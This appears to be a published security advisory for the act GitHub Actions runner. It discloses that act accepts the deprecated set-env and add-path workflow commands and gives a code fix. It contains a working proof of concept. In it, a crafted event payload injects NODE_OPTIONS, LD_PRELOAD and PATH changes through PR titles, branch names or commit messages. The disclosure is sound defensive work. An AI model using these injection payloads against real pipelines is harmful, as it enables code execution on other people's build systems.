| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/nektos/act | < 0.2.86 | 0.2.86 |
| act | < 0.2.86 | 0.2.86 |
act unconditionally processes the deprecated ::set-env:: and ::add-path:: workflow commands, which GitHub Actions disabled in October 2020 (CVE-2020-15228, GHSA-mfwh-5m23-j46w) due to environment injection risks. When a workflow step echoes untrusted data to stdout, an attacker can inject these commands to set arbitrary environment variables or modify the PATH for all subsequent steps in the job. This makes act strictly less secure than GitHub Actions for the same workflow file.
pkg/runner/command.go, lines 52-58:
switch command {
case "set-env":
rc.setEnv(ctx, kvPairs, arg)
case "set-output":
rc.setOutput(ctx, kvPairs, arg)
case "add-path":
rc.addPath(ctx, arg)
There is no check for the ACTIONS_ALLOW_UNSECURE_COMMANDS environment variable. The string ACTIONS_ALLOW_UNSECURE_COMMANDS does not appear anywhere in the act codebase.
On GitHub Actions, these commands are rejected unless ACTIONS_ALLOW_UNSECURE_COMMANDS=true is set:
Error: The `set-env` command is disabled. Please upgrade to using Environment Files
or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true.
Tested on: act 0.2.84, Docker Desktop 29.1.2, macOS Darwin 24.5.0
Step 1 — Create a workflow that logs PR metadata:
.github/workflows/vuln.yml:
name: Vulnerable Workflow
on: [pull_request]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Log PR info
run: |
echo "Processing PR: ${{ github.event.pull_request.title }}"
- name: Subsequent step - check environment
run: |
echo "=== Environment Injection Check ==="
echo "NODE_OPTIONS=$NODE_OPTIONS"
echo "EVIL_VAR=$EVIL_VAR"
echo "PATH=$PATH"
Step 2 — Create a malicious event payload:
event.json:
{
"pull_request": {
"title": "Fix typo\n::set-env name=EVIL_VAR::INJECTED_BY_ATTACKER\n::set-env name=NODE_OPTIONS::--require=/tmp/evil.js\n::add-path::/tmp/evil-bin",
"number": 1,
"head": { "ref": "fix-typo", "sha": "abc123" },
"base": { "ref": "main", "sha": "def456" }
}
}
Step 3 — Run:
git init && git add -A && git commit -m "init"
act pull_request -e event.json
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeResult:
[Vulnerable Workflow/build] | Processing PR: Fix typo
[Vulnerable Workflow/build] ⚙ ::set-env:: EVIL_VAR=INJECTED_BY_ATTACKER
[Vulnerable Workflow/build] ⚙ ::set-env:: NODE_OPTIONS=--require=/tmp/evil.js
[Vulnerable Workflow/build] ⚙ ::add-path:: /tmp/evil-bin
[Vulnerable Workflow/build] ✅ Success - Main Log PR info
[Vulnerable Workflow/build] | === Environment Injection Check ===
[Vulnerable Workflow/build] | NODE_OPTIONS=--require=/tmp/evil.js
[Vulnerable Workflow/build] | EVIL_VAR=INJECTED_BY_ATTACKER
[Vulnerable Workflow/build] | PATH=/tmp/evil-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[Vulnerable Workflow/build] | EXPLOITED: EVIL_VAR was injected into this step!
[Vulnerable Workflow/build] ✅ Success
[Vulnerable Workflow/build] 🏁 Job succeeded
All three injections succeeded silently:
EVIL_VAR=INJECTED_BY_ATTACKER — arbitrary env var injected into subsequent stepNODE_OPTIONS=--require=/tmp/evil.js — Node.js code execution vector/tmp/evil-bin prepended to PATH — command hijacking vectorScenario 1: Malicious PR title/body. An attacker opens a PR with ::set-env name=NODE_OPTIONS::--require=/tmp/evil.js embedded in the title. If any workflow step echoes the title (common for build summaries, Slack notifications, changelog generation), the injection fires. On GitHub Actions this is blocked. On act, it succeeds.
Scenario 2: Malicious branch name. ${{ github.head_ref }} is attacker-controlled. A branch named fix-typo%0A::set-env name=LD_PRELOAD::/tmp/evil.so can inject LD_PRELOAD, which causes every subsequent dynamically-linked binary to load the attacker's shared library.
Scenario 3: Commit message injection. If a step runs git log --oneline and the output flows to stdout, an attacker's commit message containing ::set-env:: commands will be processed.
LD_PRELOAD, NODE_OPTIONS, PYTHONPATH, BASH_ENV, PERL5OPT all enable arbitrary code executionAdd a check matching GitHub Actions' behavior:
case "set-env":
if rc.Env["ACTIONS_ALLOW_UNSECURE_COMMANDS"] != "true" {
logger.Errorf("The `set-env` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true")
return false
}
rc.setEnv(ctx, kvPairs, arg)
case "add-path":
if rc.Env["ACTIONS_ALLOW_UNSECURE_COMMANDS"] != "true" {
logger.Errorf("The `add-path` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true")
return false
}
rc.addPath(ctx, arg)
This is a minimal, backwards-compatible fix — users who genuinely need these deprecated commands can opt in via ACTIONS_ALLOW_UNSECURE_COMMANDS=true, matching GitHub's approach.
Written by Golan Myers